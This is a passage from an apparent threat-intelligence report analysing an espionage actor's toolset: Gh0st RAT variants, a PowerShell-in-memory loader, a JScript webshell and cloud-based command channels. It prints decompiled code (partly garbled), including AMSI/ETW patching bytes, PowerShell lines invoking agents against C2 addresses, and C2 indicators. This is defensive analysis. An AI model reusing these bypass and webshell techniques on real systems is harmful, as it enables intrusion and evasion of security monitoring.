                            else
                                {
                                    v3 = 0x104;
                                    v8 = v3 + 1;
                                    (*((QWORD *)this + (unsigned int)((QWORD *)this + 20072))++ + 30) = begin_thread__(
                                        0x164,
                                        0x104,
                                        (__int64)CKernelManager::loop_DLL,
                                        (__int64)v2,
                                        0,
                                        0);
                                }
                            break;
                        }
                    else
                        {
                            __interlockedExchange((volatile __int32 *)&this + 20072, 1);
                        }
                }
```
In the case the command 0xb9 is issued, the Loop_DLL establishes a new connection to the C2 and instantiates CPluginManager that exposes the necessary functionality. Its OnReceive method evaluates the commands based on the constants 5, 6, 0xb7 and 0xba – the 0xba being the equivalent of the STOR command from EtherealGh0st – the payload seems to respect the same format. The only difference is that it is decompressed with aPlib before being loaded into the memory:

```c
v7 = */(unsigned Int "*/(char "*/&unk_18000b290 + v6 + 72); if ( !v7 ) {
    v8 = operator new(0x39u164);
    v12 = v6;
    v7 = v8 ? (unsigned int *)sub_18000b2f0(__int64)v8 : 0164;
    v12 = 0164;
    v9 = aPlib_decompress___((__int64)this, v4, v5, &v12);
    v10 = (void *)v9;
    if ( v9 ) {
        if ( (unsigned int)load_mzpe___((__int64)v7, v9) )
            *(QWORD *)((char */&unk_18000b290 + v6 + 72) = v7;
        free(v10);
    }
}
if ( (unsigned int)not_null(v7) ) {
    export = (void (__fastcall *)(QWORD))find_export___((__int64)v7, (__int64)"Main");
    if ( export ) {
        LOBYTE(v12) = -66;
        CManager::Send(ccClientSocket **this, (unsigned __int8 *)&v12, 1u);
        Sleep(0x64u);
        export("(QWORD ")("(QWORD ")this + 2) + 326164);
        Sleep(0x64u);
    }
```

SilentGh0st

SilentGh0st communicates with the C2 over TCP, encrypting the traffic with TLS using "OpenSSL 0.9.8zg 11 Jun 2015". The C2 address is encrypted in the same manner as in TranslucentGh0st - byte-XOR with 0x28 and SUB 0xC.

The agent implements file manipulation operation as separate subcommand that are listed below:

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>QUIT</td>
<td>Stops the file manipulation operation</td>
</tr>
<tr>
<td>LIST</td>
<td>Lists a folder</td>
</tr>
<tr>
<td>DELE</td>
<td>Deletes a file or folder</td>
</tr>
<tr>
<td>MOVE</td>
<td>Moves operation implemented with SHFileOperationA and FO_MOVE option</td>
</tr>
<tr>
<td>RCTO</td>
<td>Renames operation using MoveFileA</td>
</tr>
<tr>
<td>EXEC</td>
<td>Executes a command using WinExec</td>
</tr>
<tr>
<td>REST</td>
<td>Does nothing</td>
</tr>
<tr>
<td>SIZE</td>
<td>Returns the size of a file</td>
</tr>
<tr>
<td>RETR</td>
<td>Uploads a file to the C2</td>
</tr>
<tr>
<td>STOR</td>
<td>Downloads a file from the C2</td>
</tr>
<tr>
<td>FILE</td>
<td>Gets info from a file</td>
</tr>
<tr>
<td>XMKD</td>
<td>Creates a directory</td>
</tr>
<tr>
<td>PLUG_vnc</td>
<td>Not implemented</td>
</tr>
</tbody>
</table>

Besides file manipulation, the agent also implements multiple functions exported by special classes such as cshellmanager for execution of cmd.exe commands with the output retrieval or CInteractivShellS - interactive execution with a cmd.exe process where multiple commands could be sent to the STDIN of the process. The most complex module implemented by the agent is CShellExManager. It implements a lot of subcommands described very well by its help message:

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTPPROXY</td>
<td>Http proxy server.</td>
</tr>
<tr>
<td>SOCKSPROXY</td>
<td>Socks 4&amp;5 proxy server.</td>
</tr>
<tr>
<td>CD</td>
<td>Changes the current directory.</td>
</tr>
<tr>
<td>COPY</td>
<td>Copies one file to another location.</td>
</tr>
<tr>
<td>Command</td>
<td>Details</td>
</tr>
<tr>
<td>-----------</td>
<td>--------------------------------------------------</td>
</tr>
<tr>
<td>exit, quit</td>
<td>Terminate the agent</td>
</tr>
<tr>
<td>ghTn2uAHdeesfS9F</td>
<td>Use File manipulation functionality</td>
</tr>
<tr>
<td>Iyhz5leSVkJ2OsNo</td>
<td>Use cshellmanager</td>
</tr>
<tr>
<td>P01MsKp6Glji1Gvt</td>
<td>Use CShellExManager</td>
</tr>
<tr>
<td>oAsNmNor5HaxapDr</td>
<td>Proxy functionality</td>
</tr>
<tr>
<td>nSqEzgFqUyYVVoC</td>
<td>Use CInteractivShellS</td>
</tr>
</tbody>
</table>

The only identified C2 used by the SilentGh0st is fc.adswt[.]com.

### InsidiousGh0st

InsidiousGh0st, C++ version, is modification of SilentGh0st that was stripped from some functionality duplicated in multiple modules, making the agent simpler.

The communication is realized using wininet functionality and HTTP. The C2 address is base64 encoded and decrypted with RC4 and the key “11 43 65 27 55 21 01 df”. The user agent used in http request is also encrypted. The C2 obtained during investigation are:

- https://dns-log.d-n-s.org[.]uk/
- http://bitdefenderupdate[.]org:443/
- http://112.113.112[.]5/
- https://linklab.blindlab[.]com/

Like SilentGh0st, InsidiousGh0st uses random string for determining the operation to initialize:

<table>
<thead>
<tr>
<th>Command</th>
<th>Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>JEoUoUIAd</td>
<td>File listing</td>
</tr>
<tr>
<td>zBTwDjEqvi</td>
<td>Download of file from C2</td>
</tr>
<tr>
<td>sMvIJmfhUv</td>
<td>Upload of file to C2</td>
</tr>
<tr>
<td>baGmIMgwql</td>
<td>Delete of files and folders</td>
</tr>
<tr>
<td>igCPoRyFws</td>
<td>Use of CShellManager</td>
</tr>
<tr>
<td>lhnrHyWFQr</td>
<td>Use of CShellExManager</td>
</tr>
</tbody>
</table>
CShellManager and CShellExManager are the exact functionality seen in SilentGh0st. Even the same help string is present:

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CD</td>
<td>Changes the current directory.</td>
</tr>
<tr>
<td>COPY</td>
<td>Copies one file to another location.</td>
</tr>
<tr>
<td>DATE</td>
<td>Displays the date.</td>
</tr>
<tr>
<td>DEL</td>
<td>Deletes one or more files.</td>
</tr>
<tr>
<td>DIR</td>
<td>Displays a list of files and subdirectories in a directory.</td>
</tr>
<tr>
<td>HELP</td>
<td>Provides Help information for Windows commands.</td>
</tr>
<tr>
<td>MD</td>
<td>Creates a directory.</td>
</tr>
<tr>
<td>MKDIR</td>
<td>Creates a directory.</td>
</tr>
<tr>
<td>MOVE</td>
<td>Moves one or more files from one directory to another directory.</td>
</tr>
<tr>
<td>PWD</td>
<td>Print working directory.</td>
</tr>
<tr>
<td>RD</td>
<td>Removes a directory.</td>
</tr>
<tr>
<td>REN</td>
<td>Renames a file or files.</td>
</tr>
<tr>
<td>RENAME</td>
<td>Renames a file or files.</td>
</tr>
<tr>
<td>TIME</td>
<td>Displays the system time.</td>
</tr>
<tr>
<td>FILE</td>
<td>Get file time and clone file time.</td>
</tr>
<tr>
<td>RUN</td>
<td>Run a specified program or command.</td>
</tr>
<tr>
<td>SLEEP</td>
<td>Show or set sleep time.</td>
</tr>
<tr>
<td>EXTENSION</td>
<td>Memory tools.</td>
</tr>
</tbody>
</table>

The EXTENSION subcommand will receive an aPlib compressed PE executable that will be loaded into the memory and the ExtensionMain export will be executed.

**InsidiousGh0st C#**

A peculiar sample was obtained from the Ps2DLLLoader (md5:e3fb4c2d591a440cfe6419f5a9825e84) - the .net assembly 0dd4603f7c3a0a2408e458fe58b2e60 is executed with these parameters:

```
$argv=@("https://mail.adswt[.]com", "sessionps1", "32210")
```

The sample is packed with .netreactor and is in fact an InsidiousGh0st implementation in C#, having the exact same subcommands exposed by the so called RemoteShellEx command type. The exact same plugin system is used in the .net agent where PE executable with ExtensionMain export is loaded in memory using this MemoryModule module (src:https://github.com/wwh1004/MemoryModule).
The .NET agent supports a set of functions that are not present in the C++ implementation, such as execution of PowerShell command directly in the current process, support for socks5 and TCP proxy capability.

The agent exchanges messages with the C2 by making HTTP POST requests with different paths. For sending messages to the C2 the agent uses the URL `<c2 url>/content/<random integer between 100 and 1000>`:

For receiving messages from the C2, the agent makes HTTP POST requests with the URL `<c2 url>/content/<random integer between 100 and 1000>`.

All the messages sent to C2 are GZIP compressed, AES encrypted, and length prefixed before sending it to the C2:
The key and IV for AES are derived from a key seed provided by the Ps2dllLoader:

```c
try {
    byte[] array = null;
    byte[] array2 = Encoding.UTF8.GetBytes(key_seed);
    byte[] array3;
    if (strlen) {
        array3 = SHA256.Create().ComputeHash(array);
        if (array3 == null) {
            goto IL_112C;
        }
        array3 = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
    }
    using (MemoryStream memoryStream = new MemoryStream())
    {
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        try {
            if (v1 != 0)
            {
                rijndaelManaged.KeySize = 168;
                rijndaelManaged.BlockSize = 128;
                Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(array2, array3, 1000);
                rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                rijndaelManaged.Mode = CipherMode.CBC;

                CryptStream cryptostream = new CryptStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptStreamMode.Write);
                try {
                    cryptostream.Write(buffer, 0, buffer_size);
                } finally {
                    if (cryptostream != null)
                        goto IL_1425;
                }
            }
        }
    }
}
```

The received messages are obtained from http response body and are length-prefixed, the first byte representing the message’s length. Then follows the decryption with AES and the process of determining the offset of the compressed buffer by adding some values of from the buffer resulting after decryption:

```c
try {
    byte[] array = aes.Decrypt(byte_0, int_0, int_1, this.aes_key_seed);
    if (array != null)
    {
        int num = (int)array[0];
        int_0 = 1;
        for (int i = 0; i < num; i++)
        {
            int_0 += (int)(array[int_0] + 1);
        }
        Class13.smethed_0();
        byte[] array2 = new byte[array.length - int_0];
        Array.Copy(array, int_0, array2, 0, array2.length);
        byte[] array3 = Class12.uncompress(array2);
        if (array3 != null)
        {
            this.class16_0.vmethed_0(array3, array3.length);
        }
    }
}
```

The communication is initiated by the agent by sending the `LoginInfoPacket` containing the computer name, username and the local IP address. Then the received messages are interpreted as commands where the first bytes identify the command issued by the C2.
InsidiousGh0st Go

The most recent sample from InsidiousGh0st family is c:\users\public\downloads\notea.exe (05eb9aa03e1c7a0c1fa6c558bb47f0a3). It is built with Go and has many similarities to the InsidiousGh0st sample implemented in C#.

It was intended to be deployed on an internet-exposed system as it binds to 0.0.0.0 and listens for connections from the attackers.

In the main function, the bind address and an RSA public key are prepared for further use, then the bind address is passed to the main.Listen function:

```
func main() {
    v3 = runtime_slicebyterostring(LL, rawBindAddress, rawBindAddressSize);
    v5 = strings.TrimRight(v3, "(_int64 *)\0 + 1, (_int64)\0null_byte, 1LL);
    bindAddress.len = v6;
    if ( dword_C3AED0 )
        runtime_gWriteBarrier(&bindAddress);
    else
        bindAddress.ptr = v5;
    v4 = runtime_slicebyterostring(LL, rawRsaPublicKey, rawRsaPublicKeySize);
    v6 = strings.TrimRight(v4, "(_int64 *)\0 + 1, (_int64)\0null_byte, 1LL);
    rsaPublicKey.len = v6;
    if ( dword_C3AED0 )
        runtime_gWriteBarrier(&rsaPublicKey);
    else
        rsaPublicKey.ptr = v6;
    LBYTE(v1) = 1;
    v7 = main_Listen(bindAddress.ptr, bindAddress.len, v1, (_int64)&main_KernelDone);
    if ( _QWORD)v7 )
```

The main.Listen function checks the bind address string for the indicator that determines the communication protocol to use.

If bind address contains an "s" character, then the agent will use TLS over TCP. In this case, the existence of the files server.crt and server.key is checked and if they exist, these files will be used as certificate for TLS communication, otherwise, a new certificate will be generated. The crypto.tls.Listen function will be used to listen to the provided bind address after deleting all the "s" occurrences.

If the bind address contains an "u" character, then the agent will use QUIC protocol with a generated TLS certificate.

TCP will be used if the bind address contains none of the options listed above.

The hardcoded bind address specified in the analyzed binary is "0.0.0.0:54498".

Next, an AES session passphrase is randomly generated before accepting any connection and then, in main.HandleConnection, the AES session passphrase is sent to the C2 encrypted with RSA and the public RSA key hardcoded into the binary.

The messages sent to the C2 respect the same format found in the .NET implementation and have a length-prefixed randomly generated header followed by the GZIP compressed and AES-CBC encrypted message to send.

In case of the first message where the AES key seed is sent to the C2, the key will be GZIP compressed and RSA encrypted, then packed in the length-prefix format and then sent to the C2.

Otherwise, the message is compressed with GZIP and encrypted with AES256-CBC with the key and IV derived from the AES session passphrase. The result is combined with the header and the length-prefixed content is sent. For the AES encryption the module github.com/mervick/aes-everywhere/go/aes256 is used.

Interestingly, the .NET implementation, in addition to using a hardcoded AES key, uses sha256 and Rfc2898DeriveBytes for deriving the key and IV for AES, which is different from the implementation seen in github.com/mervick/aes-everywhere/go/aes256, which uses MD5 over a passphrase and a randomly generated buffer (salt) appended to the beginning of the resulted crypto text.

The messages received from the C2 respect the same format seen in the .NET implementation – the first 4 bytes represent the length of the following content. Then, the content of the indicated length is decrypted with AES256-CBC, and the position of the compressed buffer in the decrypted buffer is established by summing a few bytes from the decrypted buffer.

The commands implemented by the go agent are handled by specific modules identified by the following command IDs:
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Module</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x17</td>
<td>FileManagerConn</td>
<td>Implements file listing, drive listing, file deletion, file download and file upload</td>
</tr>
<tr>
<td>0x18</td>
<td>ShellManagerConn</td>
<td>Implements command execution using os go module</td>
</tr>
<tr>
<td>0x19</td>
<td>PortmapManagerConn</td>
<td>Implements proxy feature</td>
</tr>
<tr>
<td>0x1F</td>
<td>Socks5ManagerConn</td>
<td>Uses github.com/armon/go-socks5 to expose a socks5 proxy on a given port by calling ListenAndServe</td>
</tr>
<tr>
<td>0x22</td>
<td>PowershellManagerConn</td>
<td>Uses github.com/Ne0nd0g/go-clr to execute powershell commands within the agent process</td>
</tr>
</tbody>
</table>

Each module handles the subsequent command by the functions listed below:

The effort of implementing the same functionality in many programming languages suggests that attackers are used to the implemented features. They try to change the exposed tools but maintain the functionality intact.

**FluffyGh0st**

The FluffyGh0st agent is similar to EtherealGh0st and TranslucentGh0st in many respects. Its main function is to load plugins in the form of DLLs received from the C2 and interact with the loaded plugins.

The agent usually uses TCP as a communication protocol, but samples that used TLS over TCP were also identified. For TLS, the **OpenSSL 1.1.1w 11 Sep 2023** was used.

The implemented commands are mainly used to interact with its plugins. The loading process for a plugin consists of receiving the data from C2 as RC4 encrypted with the hardcoded key used for RC4 decryption: 32 34 55 77 82 FB FD DC is the same in all identified samples. A lznt1 decompression is applied over the decrypted buffer before reflectively loading the DLL.

The decompression is done with **RtlDecompressBuffer** api call followed by loading the DLL reflectively.
The export function name of a typical plugin is "InstallPlugin". The loading process and interaction with the plugins is determined by a few constants:

```
__int64 (__fastcall *v0)(char *, _QWORD, _QWORD); // r9
result = ((__int16)a4 - 1;
switch ( a4 )
{
  case 1u:
    *(DWORD *)(a1 + 376) = 1;
    result = sub_180005FF0(a1, a2);
    break;
  case 2u:
  case 3u:
  case 4u:
    return result;
  case 0x90u:
    result = sub_18000A400(a1, a2);
    if ( !((DWORD*)result )
      result = sub_180006120(a1, 0x30u, (__int64)a2, 0x10u);
    break;
  case 0x91u:
    result = sub_18000A2C0(a1, a2, a3);
    break;
  case 0x93u:
    result = sub_18000A720(a1, a2);
    break;
  default:
    result = "*(DWORD *)(a1 + 368);
    if ( result )
    {
      while ( *(DWORD *)(result + 8) != (a4 & 0xFF00) )
      {
        result = "*(DWORD *)(result + 55);
        if ( !result )
          return result;
      }
      if ( !*(DWORD *)result )
      {
        v8 = __fastcall (__fastcall **)(char *, _QWORD, _QWORD))(result + 16);
        if ( v8 )
          result = v8(a2, a3, a4);
        break;
      }
    }
```
.NET malware zoo

Unfading Sea Haze uses multiple .NET malicious agents to alternate the use of suit of malware written in C++ to minimize the exposure of the toolset.

All the encountered samples were loaded either by the specialized loader Ps2dllLoader or by msbuild.exe set to execute a C# payload with the help of Microsoft.Build.Utilities.Task interface.

The Ps2dllLoader has been used at least since 2018 and was seen to load all types of .NET agents such as SharpJSHandler, SerialPktDoor and many others. It was also used to execute PowerShell scripts set to collect browser data.

For instance, the msbuild.exe and C# payloads were used in the malicious Ink files from the archives, which we suspect were used to gain initial access. The latest development in this type of malware loading was seen in samples that are set to execute msbuild.exe with an SMB share as a parameter, indicating to the msbuild to locate the C# payload on a remote location controlled by the attacker.

All the .NET assembly are packed using Smart Assembly or .netreactor.

Ps2dllLoader

The Ps2dllLoader is named after its main capability to execute embedded PowerShell scripts in its memory.

Until recently, the PowerShell scripts extracted from the collected samples were responsible for loading a .NET assembly and invoking its functions providing as parameters, information necessary for it to function such as C2 address. However, the recently encountered samples of Ps2dllLoader contain PowerShell scripts that perform cookies collection from browser files.

The loader starts by loading the common language runtime (CLR) into the process using COM interfaces. The first attempt of CLR loading targets the v4.0.30319 runtime:

```c
strcpy((ProName, "CLRCreateInstance"),
ProAddress = GetProcAddress(v2, ProName);
if ( ProAddress
\& ((int (__fastcall *)(char *, char *, __int64 *))ProAddress)(BCLSID_CLIMetadata, BCLID_CLIMetadata, &v) >= 0
\& ((int (__fastcall *)(__int64, const wchar_t *, char *, __int64 *))("QWORD ")+7 + 24164)(
 v),
L"v4.0.30319",
BCLID_CLIMetadata, &v) >= 0
\& ((int (__fastcall *)(__int64, int *))("QWORD "+8 + 24164)(v8, &v) >= 0
\& ((int (__fastcall *)(__int64, int *, int *, __int64 *))("QWORD "+7 + 24164)(
 v8,  
BCLSID_CLRuntimeInfo,
BCLID_CLRuntimeInfo, &v) >= 0
}
```

If unsuccessful, the next attempt targets the v2.0.50727 runtime:

```c
strcpy((ProName, "CorBindToRuntime"),
ProAddress = GetProcAddress(NModule, ProName);
if ( ProAddress
\& ((int (__fastcall *)(const wchar_t *, const wchar_t *, void *, void *, __int64 *))ProAddress)(
 L"v2.0.50727",
L"wks",
BCLSID_CLRuntimeHost,
BCLID_CLRuntimeHost, &v) < 0
{ goto LABEL_56; }
```

The Ps2dllLoader has embedded two .NET assemblies compressed with apLib algorithm, an assembly built for each of the targeted runtimes. The .NET assembly is then loaded into the memory and the functions exported by the "a.b" class are used to base64 decode the PowerShell script embedded into the loader and to execute the script.

The samples encountered in 2024 noticed an addition to the embedded resources—the newer Ps2dllLoader version contains four .NET assemblies—two built for v2.0.50727 and the other two built for v4.0.30319 runtime. The difference between the binaries built for the same runtime is that one binary performs AMSI patching and ETW patching before executing the PowerShell payload. The decision of what .NET assembly to load depends on the loaded CLR runtime and on a hardcoded flag that indicates if patching of AMSI and ETW is necessary.
if ( !strcmp(use_loader_with_amsi_etw_patch, "true") ) {
    if ( loaded_net_runtime == v2_0_50727_runtime_type ) // v2_0_50727_runtime_type 
    {
        v6 = check_aplib_header_return_uncompressed_size(compressed_loaderpatch_dll);
        v7 = v6;
        if ( v6 == -1 )
            goto LABEL_37;
        v8 = malloc(v6);
        if ( !v8 )
            goto LABEL_37;
        clock();
        v8 = 3374164;
        v10 = compressed_loaderpatch_dll;
    } else // v4.0.38319_runtime_type
    {
        v11 = check_aplib_header_return_uncompressed_size(compressed_loader40patch_dll);
        v7 = v11;
        if ( v11 == -1 )
            goto LABEL_37;
        v8 = malloc(v11);
        if ( !v8 )
            goto LABEL_37;
        clock();
        v9 = 3472164;
        v10 = compressed_loader40patch_dll;
    }
} else if ( loaded_net_runtime == v2_0_50727_runtime_type ) // v2_0_50727_runtime_type 
{
    v12 = check_aplib_header_return_uncompressed_size(compressed_loader_dll);
    v7 = v12;
    if ( v12 == -1 )
        goto LABEL 37;
    v6 = malloc(v12);
    if ( !v6 )
        goto LABEL 37;
    clock();
    v6 = 2870164;
    v10 = compressed_loader_dll;
} else // v4.0.38319_runtime_type
{
    v13 = check_aplib_header_return_uncompressed_size(compressed_loader40_dll);
    v7 = v13;
    if ( v13 == -1 )
        goto LABEL 37;
    v6 = malloc(v13);
    if ( !v6 )
        goto LABEL 37;
    clock();
    v9 = 2104164;
    v10 = compressed_loader40_dll;
}
The selected .NET assembly is loaded and its a.b.d method invoked with the PowerShell script given as a string parameter:

```csharp
using System;
using System.Management.Automation;
using System.Text;
using System;

namespace a
{
    // Token: 0x00000002 RID: 2
    public class b
    {
        // Token: 0x00000003 RID: 3 RVA:0x00000025 File Offset: 0x00000045
        private static string a(string base64encodedData)
        {
            return Encoding.UTF8.GetString(Convert.FromBase64String(base64encodedData));
        }
    }
}
```

The patching processes, if configured, take place at the Program.Main() function call.

The `amsi.dll` is loaded and the `AmsiScanBuffer` function is patched by overwriting the first bytes of opcodes:

```csharp
private static string PatchMain()
{
    string text;
    try
    {
        StringBuilder stringBuilder = new StringBuilder(); 
        stringBuilder.Append("PatchMain:");
        byte[] array;
        if (Array.Length == 0)
        {
            array = new byte[] { 184, 87, 0, 128, 105 }; 
        } else
        {
            array = new byte[] { 184, 87, 0, 128, 194, 24, 0, 0, 0 }; 
        }
        bytesRead = Program.GetProcAddress(progImage.Library, Program.EntryPoint("WMIv25005284")); Program.EntryPoint("QdodhWVWJco2mzIz");
        stringBuilder.Append("AmsiMain()");
        array = new byte[] { 184, 87, 0, 128, 194, 24, 0, 0, 0 }; 
        bytesRead = Program.GetProcAddress(progImage.Library, Program.EntryPoint("QdodhWVWJco2mzIz"); Program.EntryPoint("QdodhWVWJco2mzIz"));
        stringBuilder.Append("null");
        StringBuilder.Append(byteArray[0], byteArray.Length, out text);
        if (Program.VirtualProtect(address, (DWORD)(long)array.Length), 0, out macro)
        {
            Program.VirtualProtect(address, (DWORD)(long)array.Length, 0, out macro);
            stringBuilder.Append("00");
        } else
        {
            stringBuilder.Append("ERROR" + Marshal.GetLastWin32Error().ToString());
        }
    }
    text = stringBuilder.Append("\n\n return text;
```
Similarly to AmsiScanBuffer, the ReportEventW from advapi32.dll is patched too:

Below are two examples of PowerShell scripts that the Ps2dllLoader had to execute.

The loading of SerialPktLoader:

```powershell
$program = [Program]::Invoke("http://192.168.148[.]3:59590/config.aspx", "b79606fb3afea5bd1609ed40b622142f1c98125abcf89a76a661b0e8e343910")
```

The loading of InsidiousGh0st:

```powershell
$encodedCompressedFile = "tJ9hBfV73e9xIdvec3ACrWYPuB1D1R348qGQYQkZjUCRE21hBstQsXEICBOM0ydS980zG8B5xEMG85YdcmW7jz9hBTfcty34OGak3P6GFFx3030YF"
$deflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($encodedCompressedFile), [System.IO.Compression.CompressionMode]::Decompress)
$uncompressedFileBytes = $deflatedStream.ReadByte([Long]::MaxValue)
```

**SharpJSHandler**

One of the payloads carried by Ps2dllLoader is SharpJSHandler. It, in essence, is a webshell-like tool as suggested by the internal name of the final payload – nois.dll, where iis indicates the agent is, in fact, an alternative for aspx webshells.

The SharpJSHandler will receive HTTP requests and will execute the encoded Javascript code using Microsoft.JScript library.

The entry point of the agent is the Invoke method that is called by the PowerShell script embedded into the loader – an example of such invocation is:

```powershell
[Program]::Invoke("http://192.168.148[.]3:59590/config.aspx", "b79606fb3afea5bd1609ed40b622142f1c98125abcf89a76a661b0e8e343910")
```

It accepts three parameters, although the last is optional:

- First parameter is an URL on which a http listener will start listening on...
The second parameter is a password that will be used to validate that the request comes from the attacker.

The third parameter is the path to the certificate that will be used in case the URL has the HTTPS scheme.

In case HTTPS is chosen, the cert path is mandatory for that, and the following command line is issued to make the necessary system settings:

```bash
netsh.exe http add sslcert ipport=0.0.0.0:<port> certhash=<cert thumprint> appid=<guid>
```

Here is a snippet of the setup process from an analyzed sample (some of field and method names where set during the analysis):

```csharp
if (pb.urlFollowed != null) {
    string parsedUrl = pb.urlFollowed.ToString();
    foreach (var param in QueryString.Split('&')) {
        string[] parts = param.Split('=');
        if (parts.Length == 2) {
            int num = 443;
            string[] array = pb.url.Split(new char[] {' '})
            if (array.Length == 2) {
                num = int.Parse(array[1]);
                X509Certificate2 x509Certificate = new X509Certificate2(pbcert, password);
                Process process = new Process();
                process.StartInfo.Arguments = string.Format("http add sslcert ipport=0.0.0.0:{0} certhash={1} appid={2}\n"), num, x509Certificate.Thumbprint, AppDomain.CurrentDomain.FriendlyName);
                process.Start();
                process.WaitForExit();
            }
        }
    }
}
```

Then, the agent starts listening for incoming requests to process:

```csharp
TRY
{
    string text = new StreamReader(httpListenerContext.Request.InputStream).ReadToEnd();
    if (string.IsNullOrEmpty(text)) {
    } else {
        Dictionary<string, string> dictionary = Utilities.HttpUtility.ParseQueryString(text, pb); byte[] array = Utilities.TryExecute(pbp, pb, dictionary);
        if (array.Length == 3 && Encoding.UTF8.GetString(array).Split('&').Length == 0) {
        } else {
            httpListenerContext.WriteLine("Close()");
        }
    }
} CATCH (Exception ex) {
    Console.WriteLine(ex.ToString());
}
```

The body of the http request should contain a string formatted as URL parameter string where each key=value is separated by "&". The string is parsed so that the key=value pairs are added to a dictionary that will be passed to the evaluation handler.
The evaluation process is implemented in a separate .NET assembly contained in the SharpJSHandler in base64 encoded form. The helper assembly name is EVAL.Handler:

```csharp
new JSObject("_app", typeof(object).TypeHandle, 6),
new JSObject("_dict", typeof(object).TypeHandle, 1),
new JSObject("pwd", typeof(object).TypeHandle, 2),
new JSObject("Response", typeof(RESPONSE).TypeHandle, 3),
new JSObject("ms", typeof(System.IO.MemoryStream).TypeHandle, 4),
new JSObject("Request", typeof(NameValueCollection).TypeHandle, 5),
new JSObject("key", typeof(object).TypeHandle, 6),
new JSObject("return value", typeof(object).TypeHandle, 7),
new JSObject("Server", typeof(NameValueCollection).TypeHandle, 8),
new JSObject("Application", typeof(object).TypeHandle, 9),
new JSObject("code", typeof(string).TypeHandle, 10),
new JSObject("e:0", typeof(object).TypeHandle, 11),
```

But firstly, a validation of the provided dictionary occurs by checking if there is a key string the sha256 of which is equal to the value provided to the agent as password.

```csharp
But firstly, a validation of the provided dictionary occurs by checking if there is a key string the sha256 of which is equal to the value provided to the agent as password.
```

If such value is not found, then the Eval.Handler will return “404” status and this will be the status code sent as http response. Otherwise, the dict value corresponding to the identified key is base64 decoded and the resulting string will be passed to Microsoft.
JScript.Eval. JScriptEvaluate:

```c#
if (nameValueCollection != null)
{
    obj4 = Encoding.UTF8.GetString(Encoding.UTF8.GetString(nameValueCollection[0], true));

    if (obj5 == null)
    {
        obj5 = new NameValueCollection();
    }

eval(new String(JScript.Eval(JScriptEvaluate)), nameValueCollection)

    localVars[0] = obj5;
    localVars[1] = obj5;
    localVars[2] = obj5;
    localVars[3] = obj5;
    localVars[4] = obj5;
    localVars[5] = obj5;
    localVars[6] = obj5;
}

The return value of the JScriptEvaluate is sent back in the http response.

There are two variations of SharpJSHandler used by the attackers that use cloud services as a means for exchanging information – one that uses Dropbox and another that uses Onedrive.

The Dropbox variant is loaded by Ps2dllLoader and invoked as follows:

```c#```

[Program]::Invoke("<token>", "fd2e32ec2b7ff97a9a675e22ac489b045ae9965032ba7ea983fd26d7f34ce247")
```c#```

The invoke method received the token and the password and the agent will periodically obtain the payload from the dropbox, will execute it and will upload the result back to the dropbox:
Internally, the Download, Upload and Delete operations are performed using Dropbox http REST api. The remote file containing the payload is identified as "{"path": "/0"}" - after downloading it, it will be decrypted using Rijndael Managed in CBC mode where the key is derived using Rfc2898DeriveBytes and the sha256 over the provided password and the salt \{161, 202, 223, 218, 17, 202, 58, 189\}.

The resulting content will be url decoded, parsed so that a dictionary with the key and value is obtained. The dictionary contains the JavaScript code to be executed and the execution is done in the same manner as in the nois.dll - using EVAL.Handler. The output is uploaded back to Dropbox as a remote file identified as "{"path": "/1"}" and the remote file "{"path": "/0"}" is deleted afterward.

The Onedrive variant is similar to the Dropbox variant. It is also loaded by the Ps2dllLoader and invoked as follows:

```
[Program]:Invoke("<token>",30)
```

Then, in infinite loop, the agent will download the payload, will execute the commands and will upload the output to Onedrive:

```
public unsafe static void invoke(string token, int time = 30, string logfile = null) {
    void* ptr = stackalloc byte[8];
    OneDrive oneDrive = new OneDrive(token, logfile);
    *(int*)ptr = 0;
    *(int*)((byte*)ptr + 4) = new Random().Next(3, 6) * 1000;
    for (;;) {
        try {
            Thread.Sleep(*(int*)((byte*)ptr + 4));
            byte[] array = oneDrive.Download();
            if (array != null) {
                Dictionary<string, string> dictionary = Util.UrlParamsToObject(Encoding.UTF8.GetString(array));
                string text = "pass";
                string text2 = Util.TryExecuteAs(text, dictionary);
                oneDrive.Upload(Encoding.UTF8.GetBytes(text2), "");
                oneDrive.Delete();
                *(int*)((byte*)ptr + 4) = new Random().Next(3, 6) * 1000;
                *(int*)ptr = 0;
            } else {
                *(int)*ptr = *(int)*ptr + 1;
                if (*(int)*ptr == 100) {
                    *(int*)((byte*)ptr + 4) = 0000 * time;
                    if (*(int)*ptr == 120) {
                        *(int*)((byte*)ptr + 4) = 0000;
                    }
                }
                catch (Exception ex) {
                    oneDrive.LogError("Invoke: " + ex.Message, new object[]);
                }
                oneDrive.LogLine("Invoke: " + ex.Message, new object[]);
            }
            oneDrive.LogLine("Invoke: " + ex.Message, new object[]);
        }
    }
}
```

The remote file downloaded periodically is "/0/0/". It is expected to be encrypted with Rijndael Managed in CBC mode, but the material from which the key is derived is hardcoded into the agent itself. The Rfc2898DeriveBytes is used with SHA256("101010101001010101010101001") and salt \{1, 2, 3, 4, 5, 6, 7, 8\} with 1000 iterations.

The resulting content is parsed and passed to the EVAL.Handler. The output is uploaded to onedrive as the file "/0/1/" and the initial remote file is deleted.
The **SerialPktDoor**, named because of the use of serialized structures for determining the commands to execute, is usually loaded by msbuild.exe with the help of scripts that use Microsoft.Build.Tasks:

```csharp
using System;
using System.Threading;
using System.Collections.Generic;
using System.Diagnostics;

public class ZqQnWcYtrzvXKpPmR : Task, ITask
{
    public ZqQnWcYtrzvXKpPmR()
    {
        [DllImport("Kernel32.dll")]
        private static extern IntPtr GetConsoleWindow();
        [DllImport("user32.dll")]
        private static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);
        public override bool Execute()
        {
            try
